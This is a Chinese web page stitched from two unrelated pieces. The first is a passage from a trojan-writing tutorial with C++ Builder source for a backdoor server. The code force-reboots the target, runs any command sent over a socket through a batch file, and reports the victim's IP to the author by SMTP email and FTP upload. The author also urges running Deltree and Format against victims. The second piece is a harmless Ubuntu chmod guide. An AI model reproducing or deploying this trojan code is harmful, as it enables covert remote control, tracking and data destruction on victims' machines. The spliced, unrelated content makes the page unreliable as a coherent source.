然後就是使目標機重新啟動。但這里要區分WinNt和Win9x??NT非常注重系統每個進程的權利,一個普通的進程是不應具備有調用系統的權利的,因此我們要賦予本程序足夠的許可權:
{
else if(temp=="reboot")
{
file://如果收到的temp的內容是「temp」
DWORD dwVersion = GetVersion();
file://得到操作系統的版本號
if (dwVersion < 0x80000000)
{
file://操作系統是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定義變數
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken);
file://OpenProcessToken()這個函數的作用是打開一個進程的訪問令牌
file://GetCurrentProcess()函數的作用是得到本進程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
file://LookupPrivilegeValue()的作用是修改進程的許可權
tkp.PrivilegeCount = 1;
file://賦給本進程特權
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
file://AdjustTokenPrivileges()的作用是通知Windows NT修改本進程的權利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://強行退出WinNt並重啟
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://強行退出Win9x並重啟
}
}
如果以上都不是,就讓它在Dos窗口中執行傳來的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://創建Win369.bat,如果已存在就覆蓋
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
Socket->SendText("Fail By Open File");
file://返回「Fail By Open File」的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://寫入欲執行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://寫入換行符
fclose(fp);
file://關閉Win369.bat
system(TempFile);
file://執行Win369.bat
Socket->SendText("Success");
file://返回「Success」信息
}
}
你可以直接執行什麼Ping和Tracert之類的命令來進一步刺探目標機的網路狀況(判斷是否是一個企業的區域網),然後可以進一步攻擊,比如Deltree和Format命令。^_^
到此,伺服器程序的功能已全部完成,但還差容錯部分未完成,這樣才能避免程序因意外而崩潰。朋友,別走開!(未完待續)
木馬是如何編寫的(三)
武漢 周侃
上次已編寫完伺服器端的各種功能,但還差容錯部分還未完成,下面我們Go on! 其代碼如下(照敲不誤 ^_^):
{
END:;
Socket->Close();
file://關閉服務
ServerSocket1->Active =true;
file://再次打開服務
if (NMSMTP1->Connected) NMSMTP1->Disconnect();
file://如果SMTP伺服器已連接則斷開
NMSMTP1->Host = "smtp.163.net";
file://選一個好用的SMTP伺服器,如163、263、sina和btamail
NMSMTP1->UserID = "";
file://你SMTP的ID
try
{
NMSMTP1->Connect();
file://再次連接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1->PostMessage->FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1->PostMessage->FromName = "Casualty";
file://受害者的名字
NMSMTP1->PostMessage->ToAddress->Text = "[email protected]";
file://將信發到我的郵箱,這一步很關鍵
NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;
file://信的內容提示你「伺服器正在運行」,並且告訴你受害者的目前的IP地址,以便連接
NMSMTP1->PostMessage->Subject = "Server Running Now!";
file://信的主題
NMSMTP1->SendMail();
file://發送!
return;
file://返回
NextTime:
NMFTP1->Host = "ftp.go.163.com";
file://你的FTP伺服器的地址
NMFTP1->UserID = "";
file://你的用戶ID
NMFTP1->Port = 21;
file://FTP埠號,一般為21
NMFTP1->Password = "";
file://你的FTP的密碼
if(NMFTP1->Connected) NMFTP1->Disconnect();
file://如果已連接就斷開
try
{
NMFTP1->Connect();
file://再連接
}
catch(...)
{
return;
file://返回
}
AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;
file://受害者的IP地址
FILE * Upload;
Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");
file://創建一個新文件准備寫,如果已存在就覆蓋
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
file://寫入以上的SendToSite的內容
fclose(Upload);
file://寫完後關閉此文件
NMFTP1->RemoveDir("public_html");
file://刪除public_html目錄
NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);
file://上傳!
}
啊,超長的OnClientRead事件終於寫完了。最後別忘了要在此伺服器源碼文件中添加以下頭文件:
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <dos.h>
#include <sys\stat.h>
#include <winbase.h>
#include <stdio.h>
#include <process.h>
#include <io.h>
#include <mmsystem.h>
至此,伺服器端(Server)程序
④ Linux/Ubuntu chmod命令詳解使用格式和方法
在 Ubuntu Linux 中用源碼文件安裝軟體時經常都會用到chmod命令來更改文件的許可權使其在安裝時有執行的許可權。由於 Ubuntu Linux 默認不能用root賬戶來登錄所以在用chmod命令來更改文件的許可權時往往需要結合sudo命令來使用,如果你對sudo命令還不太了解,請先看看本站的《sudo命令詳解》
chmod
Linux/Ubuntu 系統中文件調用的許可權分為三級:文件擁有者(u)、群組(g)、其他(o)。用chmod就可以更改文件的許可權。chmod是一個相當靈活的命令,對同一個文件的許可權的修改可以用多種風格的命令格式來實現。
方式一:
語法格式: chmod [-vR] mode 文件名
參數說明:
mode 許可權設置字串,格式為[ugoa] [+-=] [rwx]
u 表示文件的擁有者
g 表示與此文件擁有者屬於一個組群的人
o 表示其他人
a 表示包含以上三者即文件擁有者(u)、群組(g)、其他(o)
+ 表示增加許可權
- 表示取消許可權
= 表示唯一設置許可權
r 表示有讀取的許可權
w 表示有寫入的許可權
x 表示有執行的許可權
-v 顯示許可權改變的詳細資料
-R 表示對當前目錄下的所有文件和子目錄進行相同的許可權更改
例:
我們要將當前目錄下ownlinux這個文件的許可權修為所有用戶擁有該文件的讀取、寫入、執行的許可權。在這里就需要結合sudo命令來使用,如果你對sudo命令還不太了解,請先看看本站的《sudo命令詳解》
ownlinux@server:/var/www$ sudo chmod a+rwx ownlinux
[sudo] password for ownlinux: (此時輸入你的密碼)
或者使用
ownlinux@server:/var/www$ sudo chmod ugo+rwx ownlinux
[sudo] password for ownlinux: (此時輸入你的密碼)
命令不一樣,但執行後的效果是一樣的。
方式二:
語法格式: chmod [-vR] [No] 文件名
參數說明:
No 三位代表相應許可權的數字
-v 顯示許可權改變的詳細資料
-R 表示對當前目錄下的所有文件和子目錄進行相同的許可權更改
可能這種方式對於初學者來說有一定的難度,但這種方法學會後在更改文件許可權就變得非常的簡單。相信通過我的介紹大家會掌握種方法的:)
首先了解一下讀取(r)、寫入(w)、執行(x)相應的數字編號,如下圖所示
如果你記住了上圖所示的數字和對應的許可權就往下邊看
剛才已經說過了,[No]參數 是三位代表相應許可權的數字。從左向右,第一位數學代表文件擁有者(u)的許可權、群組(g)的許可權、其他(o)的許可權。每一個數字就對應該級用戶擁有的許可權即為rwx相應的數字之和。這樣說可能大家不是很明白,我畫了一張表幫助大家了解
如上圖可以看出來如果是所有用戶擁有該文件的讀取、寫入、執行的許可權就是擁有者(u)的許可權(4+2+1=7)群組(g)的許可權(4+2+1=7)其他(o)的許可權(4+2+1=7即為777。注意:如果沒有讀取的許可權則」r」相應的數字編號就為」0″,寫入(w)、執行(x)同理。
例:
就用剛才方式一的例子,我們要將當前目錄下ownlinux這個文件的許可權修為所有用戶擁有該文件的讀取(r)、寫入(w)、執行(x)的許可權。回顧一下方式一的命令格式。
ownlinux@server:/var/www$ sudo chmod a+rwx ownlinux
[sudo] password for ownlinux: (此時輸入你的密碼)
方式二的命令
ownlinux@server:/var/www$ sudo chmod 777 ownlinux
[sudo] password for ownlinux: (此時輸入你的密碼)
可以看出使用方式二的命令格式簡潔明了
如果要讓當前目錄下ownlinux這個文件的許可權修為該文件的擁有者(u)有該文件的讀取(r)、寫入(w)、執行(x)的許可權,群組(g)和其他(o)的用戶只有讀取(r)和執行(x)的許可權,運行以下命令:
ownlinux@server:/var/www$ sudo chmod 755 ownlinux
[sudo] password for ownlinux: (此時輸入你的密碼)
相信通過我的介紹大家都已經對chmod這個命令有一定的了解了吧。我覺得方式二的命令風格一但了解了就很容易掌握,而且方式二的命令風格簡單明了。